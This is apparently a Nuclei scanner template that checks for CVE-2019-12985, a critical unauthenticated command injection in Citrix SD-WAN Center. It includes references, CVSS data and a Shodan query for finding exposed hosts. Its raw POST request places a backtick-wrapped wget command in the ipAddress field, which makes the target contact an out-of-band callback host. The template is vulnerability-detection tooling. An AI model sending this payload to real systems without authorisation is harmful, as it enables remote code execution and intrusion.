54 lines
2.1 KiB
YAML
54 lines
2.1 KiB
YAML
id: CVE-2019-12985
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info:
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name: Citrix SD-WAN Center - Remote Command Injection
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author: gy741
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severity: critical
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description: |
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Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ipAddress, pingCount, or packetSize, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
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remediation: |
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Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.
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reference:
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- https://www.tenable.com/security/research/tra-2019-31
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- https://support.citrix.com/article/CTX251987
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- https://nvd.nist.gov/vuln/detail/CVE-2019-12985
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2019-12985
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cwe-id: CWE-78
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epss-score: 0.97433
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epss-percentile: 0.99923
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cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: citrix
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product: netscaler_sd-wan
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shodan-query: http.title:"Citrix SD-WAN"
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tags: cve,cve2019,citrix,rce,unauth,oast,tenable
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http:
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- raw:
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- |
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GET /login HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /Collector/diagnostics/ping HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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ipAddress=%60/bin/wget+http://{{interactsh-url}}%60
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_1, "<title>Citrix SD-WAN</title>")'
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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# digest: 4b0a00483046022100c243242cdb2839d4dddf98c0287025b6c2bb9ab4b3ed280830a593d958fa292c022100ebbeae1e2f9dcf0a301ba791123c793522ed6f2597966f329740ee2280e7a627:922c64590222798bb761d5b6d8e72950
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